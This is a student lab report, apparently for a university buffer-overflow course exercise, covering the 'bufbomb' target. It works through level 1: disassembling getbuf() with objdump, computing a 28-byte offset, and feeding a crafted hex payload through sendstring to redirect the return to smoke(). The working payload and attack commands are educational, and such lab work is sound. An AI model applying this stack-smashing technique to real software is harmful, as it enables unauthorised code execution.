实验项目名称: 缓冲区溢出攻击实验
一、实验目标:
1. 理解程序函数调用中参数传递机制;
2. 掌握缓冲区溢出攻击方法;
3. 进一步熟练掌握GDB调试工具和objdump反汇编工具。
二、实验环境:
1. 计算机(Intel CPU)
2. Linux 64位操作系统
3. GDB调试工具
4. objdump反汇编工具
三、实验内容
本实验设计为一个黑客利用缓冲区溢出技术进行攻击的游戏。我们仅给黑客(同学)提供一个二进制可执行文件bufbomb和部分函数的C代码,不提供每个关卡的源代码。程序运行中有3个关卡,每个关卡需要用户输入正确的缓冲区内容,否则无法通过管卡!
要求同学查看各关卡的要求,运用GDB调试工具和objdump反汇编工具,通过分析汇编代码和相应的栈帧结构,通过缓冲区溢出办法在执行了getbuf()函数返回时作攻击,使之返回到各关卡要求的指定函数中。第一关只需要返回到指定函数,第二关不仅返回到指定函数还需要为该指定函数准备好参数,最后一关要求在返回到指定函数之前执行一段汇编代码完成全局变量的修改。
实验代码bufbomb和相关工具(sendstring/makecookie)的更详细内容请参考“实验四 缓冲区溢出攻击实验.pptx”。
本实验要求解决关卡1、2、3,给出实验思路,通过截图把实验过程和结果写在实验报告上。
四、实验步骤和结果
1. 攻击目标
实验程序为bufbomb。该程序中含有一个带有漏洞的getbuf()函数,其代码如下
int getbuf(){
char buf[12];
Gets(buf);
return 1;
}
系统函数gets()从标准输入设备读字符串,以回车结束读取,不会判断上限。所以程序员应该确保buffer的空间足够大,以便在执行读操作时不发生溢出。
2. 攻击要求
目标程序bufbomb将执行test(),进而执行getbuf(),最终执行gets()。其中gets()会从标准输入设备读入数据。 要求黑客同学利用所学知识构造适当的输入函数,通过标准输入传递到目标程序,实现以下三个标准:
1)getbuf()返回时,不返回到test(),而是直接返回到指定的smoke()函数。
2)getbuf()返回时,不返回到test(),而是直接返回到指定的fizz()函数,而且要求给fizz()函数传入一个黑客cookie值作为参数。其中cookie可以通过makecookie工具根据黑客姓名产生。——使用命令“./makecookie + 姓名”。
黑客姓名产生:
makecookie name
3)getbuf()返回时,不返回到test(),而是直接返回到指定的bang()函数,并且在返回到bang()之前,先修改全句变量global_value为你的黑客cookie值。
注:其中smoke() 函数、fizz() 函数、bang() 函数都已经存在于bufbomb可执行文件中
3. 攻击操作
已知bufbomb中有test()函数会调用getbuf()函数,并调用gets()从标准输入设备读入字符串。因此可以通过大于getbuf()中给出的数据缓冲区的字符串而破坏getbuf()栈帧,改变其返回地址——指向我们指定的函数。
具体操作如下:
1)使用gdb和objdump分析其栈帧结构,确定test()调用getbuf()后返回地址与buf缓冲区相对位置关系;
2)根据目标攻击函数地址,构造出传给gets()的数据(用于填充缓冲区并破坏栈帧结构)。将所构造的数据每字节用16进制数字表示(文本字符串,例如0x3用两个字符表示为“03”),并保存在exploit.txt文件中。
3)将exploit.txt文本文件中的数据通过sendstring工具转换成char类型的数据——保存在exploit_raw.txt中。比如利用管道“catexploit.txt | ./sendstring | ./exploit_raw.txt”或通过重定向“./sendstring< exploit.txt > exploit_raw.txt”。
4)执行bufbomb,并将转换后的数据作为标准输入数据传入bufbomb。具体方法有多种,例如“catexploit_raw.txt | bufbomb –t neo”、“bufbomb-t neo< exploit_raw.txt”。其中neo请替换成同学自己的名字。
5)将参数传入bufbomb时,也可指直接从exploit.txt文件开始,执行“$cat exploit.txt | ./sendstring | ./bufbomb -t neo”。无需exploit_raw.txt的中转,直接由sendstring通过管道输入到bufbomb的标准输入设备中。
4. 实验前的注意事项:
首先下载了buflab-handout文件后,进行解压缩。进入到该文件的根目录下,切换到root权限:
图1
因为本次实验用到的可执行文件是32位,而实验环境是64位的,需要先安装一个32位的库,在root权限下安装如下所示:
# apt install lib32ncurses5 lib32z1
还需要安装sendmail
# apt install sendmail
【第一题】返回到smoke()
1.1 解题思路
本实验中,bufbomb中的test()函数将会调用getbuf()函数,getbuf()函数再调用gets()从标准输入设备读入字符串。
系统函数gets()未进行缓冲区溢出保护。其代码如下:
int getbuf()
{
char buf[12];
Gets(buf);
return 1;
}
我们的目标是使getbuf()返回时,不返回到test(),而是直接返回到指定的smoke()函数。
为此,我们可以通过构造并输入大于getbuf()中给出的数据缓冲区的字符串而破坏getbuf()的栈帧,替换其返回地址,将返回地址改成smoke()函数的地址。
1.2 解题过程首先利用反汇编命令查看getbuf函数的汇编代码,以便分析getbuf在调用
利用反汇编命令查看getbuf函数
$objdump -d bufbomb |grep -A15 "
08048ad0 :
8048ad0: 55 push %ebp
8048ad1: 89 e5 mov %esp,%ebp //将栈顶指针传给ebp
8048ad3: 83 ec 28 sub $0x28,%esp //栈顶指针esp减去28,开辟28个地址空间
8048ad6: 8d 45 e8 lea -0x18(%ebp),%eax //将ebp-0x18的地址传给eax
8048ad9: 89 04 24 mov %eax,(%esp)
8048adc: e8 df fe ff ff call 80489c0 //在首地址为-0x18(%ebp)的位置输入字符串,字符串在栈帧中向上扩展。
//即当扩展到一定程度时,将会覆盖掉返回地址。
8048ae1: c9 leave
8048ae2: b8 01 00 00 00 mov $0x1,%eax
8048ae7: c3 ret
8048ae8: 90 nop
8048ae9: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi
分析代码可以知道栈帧的内部结构如图所示:
实验中可利用objdump查看函数或变量的地址,例如:
查找smoke函数地址时执行以下命令
$ objdump -t bufbomb|grep –e smoke
08048eb0 g F .text 0000002a smoke
从而得知smoke函数代码的起始地址为08048eb0
分析栈帧结构后可知,buf第一个元素的地址是ebp-0x18,而”返回地址”第一个字节的地址是ebp+0x04,两个位置的相差换算成换算成十进制就是0x04 - (-0x18) = 4 + 24 = 28。也就是说输入到缓冲区中的数据,要构造28个任意字符,然后加上smoke()的地址(注意小端表示)就能准确覆盖到”返回地址”,完成溢出攻击返回到smoke()。无关紧要的28字节区域可以用00~99来填充。故输入的字符串保存到0.txt。
先创建一个txt文件:
$ touch 0.txt
图4
图5
字符串的后八位必须为“b08e0408”,这样设置是因为字符串是存储在栈中,有先入后出的特点,所以需要把字符串按字节倒序填入栈中。对于其他的字节没有要求,只要凑够28位即可。总共需要输入32个字节。
输入00112233445566778899001122334455667788990011223344556677b08e0408
用cat查看0.txt内容:
$ cat 0.txt
00112233445566778899001122334455667788990011223344556677b08e0408
0x / 08 / 04 / 8e / b0
存储形式:
b0
8e
04
08
图6
然后通过sendstring将0.txt转换成二进制格式,在通过管道输入到bufbomb中:
$ cat 0.txt|./sendstring |./bufbomb -t Xindolia_Ring
Team: Xindolia_Ring
Cookie: 0x33102f15
Type string:Smoke!: You called smoke()
图7
1.3 最终结果截图
图8